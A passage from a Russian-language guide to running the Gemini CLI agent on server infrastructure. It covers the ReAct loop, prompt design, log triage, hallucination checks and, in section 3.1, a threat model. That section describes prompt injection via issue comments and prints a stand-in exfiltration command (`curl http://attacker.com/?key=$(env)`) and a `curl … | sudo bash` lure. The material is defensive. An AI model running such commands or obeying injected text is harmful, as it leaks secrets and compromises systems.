Gemini CLI – исчерпывающее руководство

1.3. Контекст среды: Наш испытательный полигон

Все примеры в этой книге взяты из реальной эксплуатации сети `10.252.0.0/16`. Наш "герой" – агент – оперирует на следующих узлах:

**Gateway (1.1):*Наш "щит" и "мозг". Здесь живет Traefik, AdGuard Home и VPN-хаб.

**vPSrasil (1.2):*Мощный кластер K3s, где крутятся самые тяжелые задачи.

**Hybrid (1.3):*Сервер приложений (GitLab, Obsidian, Dashboard). Это сердце нашей разработки.

**Monitoring (1.4):*Глаза системы (Grafana, Prometheus).

1.4. Этический кодекс Агента

Мы верим в модель "Human-in-the-Loop". Агент – это пилот, а вы – диспетчер. Он может делать всё, но вы задаете курс и подтверждаете критические маневры. В этой главе мы закладываем фундамент доверия: агент всегда объясняет, *почему* он делает то или иное действие.

> [!NOTE]

> В мире, где инфраструктура становится кодом, а код пишется ИИ, знание того, как управлять этим процессом – ваш главный навык в 2026 году.

––

Ключевые мысли главы:

Переход от реактивного администрирования к проактивному агентному управлению.

Понимание того, что терминал теперь – это холст для мыслей ИИ.

Важность контекста (знание топологии сети) для работы агента.

Секция 2.1: Глубокий разбор ReAct: Почему "мысль" важнее "команды"

В этой секции мы вскроем "черный ящик" Gemini CLI и изучим его внутренний двигатель – парадигму ReAct (Reasoning and Acting). Вы поймете, почему простая последовательность команд никогда не заменит полноценное рассуждение.

2.1.1. Ограничение классических LLM: "Стрельба вслепую"

Стандартные языковые модели без агентской надстройки работают по принципу предсказания следующего токена. Если вы попросите обычную модель "почини Nginx", она выдаст вам текст с вероятными командами. Но она не знает, сработали ли они.

Это "стрельба вслепую". Если первая команда в списке выдаст ошибку, все последующие команды в тексте станут бессмысленными или даже опасными.

2.1.2. Анатомия цикла ReAct

ReAct решает эту проблему, вводя обратную связь в реальном времени. Цикл состоит из четырех фаз, которые агент проходит для каждого атомарного действия:

1. Thought (Мысль): Это внутренний монолог. Модель формулирует гипотезу.

*Пример:* "Я вижу, что порт 80 занят. Вероятно, там уже запущен другой веб-сервер. Мне нужно выяснить, какой именно".

2. Action (Действие): Выбор и вызов инструмента.

*Пример:* `run_command(cmd="lsof -i :80")`.

3. Observation (Наблюдение): Результат выполнения инструмента. Это данные, которые возвращает система.

*Пример:* "COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME nginx 1234 root 6u IPv4 123456 0t0 TCP *:http (LISTEN)".

4. Refinement/Next Step (Уточнение): Анализ наблюдения и переход к следующей мысли.

*Пример:* "Порт занят легитимным процессом Nginx. Мне не нужно запускать новый, мне нужно изменить конфиг существующего".

2.1.3. Когнитивная нагрузка на Мысль (Thinking Budget)

В Gemini CLI "Мысль" – это не просто украшение. Это страховка.

Когда агент пишет мысль, он активирует свои логические блоки. Исследования показывают, что модели, которые сначала пишут рассуждение, совершают на 60% меньше ошибок в коде.

Почему "мысль" важнее команды?

Команда – это просто синтаксис. Мысль – это понимание интенции. Если агент понимает, *зачем* он это делает, он сможет адаптироваться к любому неожиданному выводу терминала.

2.1.4. Проблема "Зацикливания" (Agent Looping)

Иногда агент попадает в бесконечную петлю: попробовал – не вышло – попробовал то же самое.

В архитектуре Gemini CLI встроены Loop Detectors:

**Memory Depth:*Агент видит свои прошлые 10 попыток и осознает, что они были идентичны.

**Stop Sequences:*Если прогресс не достигнут за N шагов, агент обязан остановиться и попросить помощи у человека.

2.1.5. Трассировка рассуждений (Reasoning Trace)

Для опытного SRE чтение лога мыслей агента – лучший способ дебага.

Вы можете увидеть, в какой момент агент "свернул не туда".

*Ошибка типа А:"Я думаю, что диск полон" (Ошибочная гипотеза).

*Ошибка типа Б:"Я вызываю `rm -rf /`" (Правильная гипотеза – очистка диска, катастрофическое действие).

Разбор этих трейсов – основа обучения агента в вашей конкретной среде.

––

Резюме раздела:

ReAct – это то, что превращает текст в интеллект. Понимая этот цикл, вы сможете "подсказывать" агенту правильные мысли, тем самым направляя его действия к успеху. Команда – это лишь инструмент, но Мысль – это стратегия.

Секция 2.2: Промпт-инжиниринг как низкоуровневое программирование

Забудьте популярные советы по "общению с ИИ". В контексте Gemini CLI промпт-инжиниринг – это не литература, это программирование логики исполнения. В этой секции мы разберем, как ваши слова превращаются в бинарные решения и системные вызовы.

2.2.1. Промпт как Спецификация (System Prompt)

Самый важный уровень промпт-инжиниринга скрыт от глаз пользователя. Это Системный Промпт (System Instructions). Он определяет "жесткую логику" поведения агента.

Структура системного промпта Gemini CLI:

**Ролевая модель:*"Ты – Senior SRE с 20-летним стажем". Это не просто фраза, она активирует специфические кластеры знаний о безопасности и архитектуре.

**Ограничения (Constraints):*"Никогда не используй команды без проверки версии".

**Формат вывода:*"Всегда используй JSON-структуру для инструментов".

Когда вы вводите задачу, она накладывается на этот фундамент. Если ваш запрос противоречит системному промпту (например, "удали всё быстро без проверки"), агент выберет системную инструкцию как приоритетную.

2.2.2. Типизация данных в промпте

Мы можем классифицировать элементы промпта как типы данных в программировании:

1. Constants (Константы): Названия серверов (1.1, 1.3), пути к конфигам.

2. Variables (Переменные): Состояние системы, которое агент должен выяснить.

3. Functions (Функции/Инструменты): Описания MCP инструментов.

4. Logic (Логика): Условия "если… то…", заложенные в ваш запрос.

Пример "типизированного" промпта:

> "Если (Logic) загрузка CPU на 1.3 (Variable) выше 80%, найди самый тяжелый процесс (Function) и пришли мне его PID (Output Type)".

2.2.3. Few-Shot Learning в терминале

Один из самых мощных методов программирования агента – предоставление примеров.

Если вы хотите, чтобы агент писал логи в особом формате, дайте ему 2-3 примера:

*Пример 1:"Сбой БД -> Рестарт контейнера -> Статус ОК".

*Пример 2:"Ошибка диска -> Очистка кеша -> Статус ОК".

Агент экстраполирует эту логику на все последующие задачи. Это гораздо эффективнее, чем описывать правила словами.

2.2.4. Chain-of-Thought (Цепочка Рассуждений)

Вы можете принудительно заставить агента "думать медленнее" и качественнее, используя технику CoT.

Паттерн: "Прежде чем выполнять, подумай пошагово: что может пойти не так на каждом этапе?".

Это аналогично включению режима дебага в программе. Агент начнет анализировать зависимости, которые он мог пропустить при "быстром" ответе.

2.2.5. Проблема "Затухания инструкций" (Prompt Decay)

В длинных сессиях агент начинает забывать инструкции, данные в начале. Это связано с устройством контекстного окна.

Технический прием: "Anchor Prompting" (Промпт-якорь). Каждые 5-10 шагов система неявно напоминает агенту о его главных целях и правилах безопасности.

2.2.6. Промпт-инжиниринг как API для инструментов

Самое важное: промпт должен содержать достаточно информации для того, чтобы агент мог выбрать правильный инструмент.

*Плохой промпт:"Найди ошибку". (Агент не знает, запускать `grep` или `journalctl`).

*Хороший промпт:"Проанализируй системные логи через journalctl и найди критические ошибки за последний час".

––

Резюме раздела:

Промпт в Gemini CLI – это код. Он имеет свою архитектуру, типы данных и жизненный цикл. Освоив низкоуровневое программирование через текст, вы получите инструмент, который выполняет задачи с точностью до бита и надежностью энтерпрайз-системы.

Секция 2.3: Внимание и контекст в 10ГБ логах: Магия выборочного зрения

Одной из самых впечатляющих (и пугающих) способностей ИИ-агента является работа с огромными массивами данных. Как модель с ограниченным "окном внимания" (context window) умудряется найти одну строку ошибки в файле размером 10 ГБ? В этой секции мы разберем механизмы иерархического внимания и умной фильтрации.

2.3.1. Парадокс Контекстного Окна

Даже самые современные модели, такие как Gemini 1.5 Pro с окном в 2 миллиона токенов, не могут просто "проглотить" 10-гигабайтный файл. 10 ГБ текста – это примерно 2-3 миллиарда токенов.

Техническое решение: Агент не читает файл. Агент сканирует индексы.

2.3.2. Стратегия "Map-Reduce" для терминала

Когда вы просите агента "найти ошибку в огромном логе", он не запускает `cat`. Он использует многоуровневый подход:

1. Слой Грубой Фильтрации (Grep Layer): Агент запускает `grep -i "error" logfile | wc -l`. Если ошибок 10 000 – он понимает, что нужно сузить поиск.

2. Временная Локализация: Агент ищет ошибки по времени: "Покажи только те, что были за последние 5 минут". Это сокращает объем данных в 1000 раз.

3. Выборочное Чтение (Chunking): Агент использует инструмент `view_file` с параметрами `StartLine` и `EndLine`. Он читает первые 100 строк (заголовки), середу (сэмплы) и последние 100 строк (текущее состояние).

2.3.3. Механизм семантического внимания (Semantic Saliency)

Внутри самой модели Gemini работает механизм внимания (Attention mechanism). Но в CLI он дополняется семантической значимостью.

Агент обучен игнорировать "шум" (например, сообщения о нормальном запуске сервисов) и фокусироваться на "аномалиях" (стектрейсы, коды возврата отличные от нуля).

Инструментальная поддержка:

Инструмент `grep_search` – это не просто вызов бинарника. Это способ передать модели "выжимку" реальности. Если агент видит в выводе `grep` 5 строк, он может осознать их полностью. Если он видит 5000 – он сам генерирует новую команду для более тонкого фильтра (например, исключая известные ложные срабатывания).

2.3.4. Иерархическое дерево файлов (File Outline)

Работа с кодом в больших проектах (миллионы строк) строится по тому же принципу. Вместо чтения всех файлов, агент использует инструмент `view_file_outline`.

Он видит названия функций и классов.

Он строит в уме "карту зависимостей".

Он читает тело только той функции, которая кажется ему подозрительной.

Это имитирует поведение опытного программиста, который не читает весь проект, а быстро переходит к нужной строке.

2.3.5. Работа с бинарными и структурированными данными

Если лог представлен в формате JSON (например, структурированные логи GitLab), агент использует `jq`.

Это позволяет ему выполнять сложные SQL-подобные запросы прямо в терминале:

> "Выбери все запросы к `/api/v1/login`, которые завершились с кодом 401, и сгруппируй их по IP".

Такой уровень анализа недоступен человеку в режиме реального времени, но для агента это секундная задача.

2.3.6. Риск "Контекстного Ослепления"

Если агент всё же попытается загрузить слишком много данных в окно, наступает деградация качества. Модель начинает "забывать" начало инструкции или путать детали в середине вывода.

Защита Gemini CLI: Автоматическая очистка буфера. Перед каждой новой фазой рассуждения система может удалять старые, неактуальные наблюдения, сохраняя только "дистиллированное знание".

––

Резюме раздела:

Работа с большими данными в Gemini CLI – это не вопрос грубой силы, а вопрос стратегического поиска. Агент не "видит" 10 ГБ логов сразу; он "прощупывает" их инструментами, строя в уме вероятностную карту того, где может скрываться истина. Ваша задача как пользователя – давать ему правильные "подсказки для обзора" (например, временные рамки или ключевые слова).

Секция 2.4: Галлюцинации и методы их купирования: Когда агент начинает фантазировать

Самый большой страх любого системного администратора при работе с ИИ – это галлюцинации. "А вдруг он придумает команду, которая удалит все данные?". В этой секции мы честно разберем природу галлюцинаций в LLM и те многоуровневые барьеры, которые Gemini CLI воздвигает для защиты вашей системы.

2.4.1. Природа "Системных Галлюцинаций"

Галлюцинация в контексте CLI – это не просто "выдуманный факт". Это техническая ошибка, которая может принимать три формы:

1. Выдуманные флаги: Агент верит, что у `ls` есть флаг `–delete-everything-instantly`.

2. Выдуманные файлы: Агент "видит" конфиг `/etc/nginx/secret.conf`, которого не существует.

3. Ложная уверенность (False Calibration): Агент сообщает, что "сервис запущен", хотя он не проверял его статус, а просто предположил это на основе косвенных признаков.

2.4.2. Механизм №1: Цикл Верификации (Self-Correction Loop)

Главная защита Gemini CLI – это не запрет на ошибки, а обязательная проверка реальности.

После каждого действия агент обязан наблюсти результат через инструмент. Если агент "галлюцинировал" существование файла, попытка его прочитать через `view_file` вернет ошибку `File not found`.

В этот момент в когнитивном слое агента происходит "шок реальности" (back-propagation of error), и он корректирует свое поведение: "Я ошибся, этого файла нет. Попробую найти его через `find`".

2.4.3. Механизм №2: Заземление на Man-страницы (Grounded Context)

Агенты Gemini CLI обучены технике "Check-then-Run". Если агент не уверен в синтаксисе команды или флагах, он не гадает. Он обращается к системной документации.

`run_command(cmd="man grep")`

`run_command(cmd="docker run –help")`

Чтение актуальной справки в реальном времени сводит риск синтаксических галлюцинаций практически к нулю.

2.4.4. Механизм №3: Safety Justification (Обоснование безопасности)

Для команд, помеченных как потенциально опасные ( destructive), система требует от агента предоставить `SafetyJustification`.

Это форсирует "Медленное мышление" (System 2 thinking). Агент должен рационально объяснить, почему выполнение этой команды необходимо и безопасно. Если он не может внятно это сформулировать (например, потому что его план основан на галлюцинации), проверка часто завершается неудачей еще до исполнения.

2.4.5. Механизм №4: Sandboxing и Dry Run

В критических сценариях (Часть 6) мы рекомендуем использовать режимы песочницы.

**Dry Run:*Агент пишет, что он *собираетсясделать, и вы подтверждаете план.

**Shadow Mode:*Агент выполняет команды в изолированном Docker-контейнере, который является копией вашего сервера. Если "галлюцинация" агента приводит к сбою в контейнере, ваша основная система остается в безопасности.

2.4.6. "Галлюцинация как Творчество": Когда это полезно

Иногда то, что мы называем галлюцинацией, является попыткой агента найти нестандартное решение. Если стандартная команда не работает, агент может "придумать" способ через временные файлы или пайпы, которые вы никогда не использовали.

Ключ в том, чтобы это "творчество" всегда проходило через фильтр жесткой верификации результата.

––

Резюме раздела:

Галлюцинации – это врожденное свойство больших языковых моделей. Мы не можем их полностью устранить, но мы можем сделать их безопасными. В Gemini CLI галлюцинация – это не катастрофа, а просто неверная гипотеза, которая мгновенно опровергается реальностью терминала. Ваша роль как куратора – следить за тем, чтобы цикл верификации никогда не отключался.

Этим разделом мы завершаем Модуль 2 "Анатомия Кремниевого Разума". Мы изучили, как агент думает, планирует и как он справляется с ошибками. В следующем модуле мы перейдем к вопросам Безопасности и Цифрового Суверенитета.

Глава 2: Архитектура Агента: Внутри кремниевого разума

Чтобы эффективно управлять Gemini CLI, нужно понимать не только "что" он делает, но и "как" он принимает решения. В этой главе мы разберем анатомию агентского мышления и паттерн ReAct.

2.1. Паттерн ReAct: Мысль и Действие

В основе Gemini CLI лежит парадигма ReAct (Reasoning and Acting). Когда вы даете команду "Почини VPN", агент не запускает скрипт. Он инициирует бесконечный (в пределах лимитов) цикл:

1. Thought (Мысль): Агент анализирует: "Пользователь хочет починить VPN. Последняя ошибка в логах была связана с MTU. Нужно проверить статус WireGuard интерфейса".

2. Action (Действие): Выбор инструмента. `run_command(cmd="wg show")`.

3. Observation (Наблюдение): Чтение вывода. Интерфейс `wg0` не отвечает.

4. Refinement (Уточнение): "Интерфейс лежит. Возможно, упал бинарник или ошибка в конфиге. Проверю journalctl".

Этот цикл превращает ИИ из "генератора текста" в "решателя проблем".

2.2. Промпт-инжиниринг MCP (Model Context Protocol)

Gemini CLI – это не просто чат. Это MCP-клиент.

Инструменты (Tools), которыми располагает агент, передаются ему в виде структурированных описаний. Например, инструмент `list_dir` говорит агенту: "Если ты хочешь увидеть файлы, используй эту функцию, она вернет JSON с метаданными".

Архитектурные слои:

**Слой восприятия:*Инструменты поиска (`grep`, `find`), чтения файлов и просмотра терминала.

**Когнитивный слой:*Сама модель Gemini (1.5 Pro или Flash), которая сопоставляет намерения пользователя с доступными инструментами.

**Исполнительный слой:*Оболочка Bash, которая физически запускает команды через системные вызовы.

2.3. Память и Контекстное Окно

Одна из сложнейших задач агента – помнить, что он делал 5 шагов назад. Gemini CLI использует сессионную память.

**Краткосрочная:*Весь текущий диалог и вывод команд.

**Долгосрочная (Knowledge Items):*Дистиллированные знания из прошлых сессий, сохраненные в `.gemini/knowledge`.

2.4. Безопасность через Изоляцию

Агент живет в среде с определенными правами. Мы используем принцип "Action Policies":

**ReadOnly:*Агент может только смотреть.

**WriteSafe:*Может создавать файлы, но не удалять системные.

**Unrestricted:*Полный доступ (только для доверенных сценариев под присмотром).

Пример сложного рассуждения:

> User: "Почему GitLab тормозит на 1.3?"

> Agent:

> 1. (Thought) Проверю загрузку CPU и RAM на узле 1.3.

> 2. (Action) `run_command("ssh 1.3 'top -b -n 1 | head -n 20'")`

> 3. (Observation) Redis потребляет 90% памяти.

> 4. (Thought) Нужно проверить конфиг Redis и наличие утечек в логах.

> 5. (Action) `view_file("/etc/redis/redis.conf")` … и так далее.

––

Ключевые мысли главы:

Агент – это цикл, а не линейный скрипт.

**ReAct*– золотой стандарт автономности.

Инструменты делают модель "зрячей" и "рукастой".

Секция 3.1: Модель угроз: Агент как вектор атаки

Когда вы интегрируете Gemini CLI в свою инфраструктуру, вы фактически создаете новый, крайне мощный интерфейс управления. С точки зрения кибербезопасности, любой интерфейс – это вектор атаки. В этой секции мы проведем холодный и циничный анализ рисков, связанных с эксплуатацией ИИ-агента.

3.1.1. Прямая атака через промпт (Prompt Injection)

Это самый известный риск. Если агент читает данные из внешнего мира (например, вы просите его "проанализировать комментарии в GitHub Issue"), злоумышленник может внедрить в этот текст инструкцию для агента.

**Классическая инъекция:*``

**Скрытая инъекция:*Использование невидимых символов или кодировок, которые человек не заметит в логе, но которые будут интерпретированы LLM как команда.

Защита: Gemini CLI использует разделение контекста. Данные, полученные от инструментов (Observation), помечаются низким приоритетом и никогда не рассматриваются как источник системных инструкций для самого агента.

3.1.2. Кража секретов (Secret Exfiltration)

Агент имеет доступ к переменным окружения и файлам конфигурации. Если злоумышленник сможет заставить агента выполнить команду типа `curl http://attacker.com/?key=$(env)`, это приведет к полной компрометации инфраструктуры.

Технический барьер:

**Secret Masking:*Все известные токены и ключи автоматически маскируются (`***`) в логах и выводах, которые видит сама модель.

**Egress Filtering:*Ограничение сетевой активности агента. Агент в безопасном режиме может общаться по сети только с доверенными эндпоинтами.

3.1.3. Злоупотребление легитимными инструментами (Resource Exhaustion)

Злоумышленник может не "взламывать" агента, а просто заставить его делать слишком много полезной, но дорогой работы. Например, запустить бесконечный цикл анализа огромных файлов, что приведет к огромным счетам за токены API или отказу в обслуживании (DoS) самого терминала.

Контроль лимитов: В Gemini CLI встроены жесткие лимиты на:

Количество токенов на запрос.

Глубину рекурсии шагов (макс. 50 шагов на задачу).

Время выполнения каждой команды.

3.1.4. Социальная инженерия через Агента

Это более тонкий вектор. Агент может быть обманут так, чтобы он убедил *вас* выполнить опасное действие.

> "Я проанализировал систему, и чтобы исправить ошибку, вам нужно выполнить `curl https://fix.io/patch | sudo bash`".

Если вы доверяете агенту, вы можете выполнить это не глядя. Это атака типа "Authority Bias Exploitation".

3.1.5. Эксплуатация уязвимостей в MCP-серверах

Агент общается с инструментами через протокол MCP. Если сам инструмент (например, кастомный скрипт на Python) имеет уязвимость (напр. SQL Injection), агент может стать невольным исполнителем этой цепочки атаки.

Правило: ИБ-аудит агента – это прежде всего ИБ-аудит его инструментов.

3.1.6. Матрица рисков

| Угроза | Вероятность | Ущерб | Основной метод защиты |

| :– | :– | :– | :– |

| Prompt Injection | Высокая | Средний | Маркировка контекста (Context Tagging) |

| Secret Exfiltration| Средняя | Критический | Маскирование секретов и Egress Filter |

| Dos/Cost Attack | Средняя | Низкий | Квоты и таймауты |

| Tool Exploitation | Низкая | Высокий | Аудит кода MCP-серверов |

––

Резюме раздела:

Агент – это не "черная магия", а сложная программная система. Его безопасность строится на классических принципах Zero Trust. Никогда не доверяйте вводу, всегда ограничивайте права и постоянно мониторьте логи. В следующей секции мы разберем, как физически изолировать агента с помощью Docker и gVisor.

Секция 3.2: Изоляция и песочницы: SSH, Docker, gVisor

После того как мы изучили модель угроз, пришло время построить стены. В этой секции мы разберем практические способы изоляции Gemini CLI, чтобы даже в случае успешной атаки или катастрофической ошибки агента, вред был локализован.

3.2.1. Принцип "Минимально Необходимых Прав" (POLP)

Самая важная изоляция – это изоляция прав пользователя. Никогда не запускайте агента от имени `root` на хост-системе.

Эталонная настройка пользователя:

1. Создание пользователя `gemini-agent` с домашней директорией `/home/gemini-agent`.

2. Ограничение доступа к `sudo`: только конкретные команды (белый список), например `systemctl status`.

3. Использование дисковых квот, чтобы агент не мог забить всё место логами.

3.2.2. Контейнеризация: Агент в Docker

Запуск агента внутри контейнера – это стандарт де-факто для безопасных сред.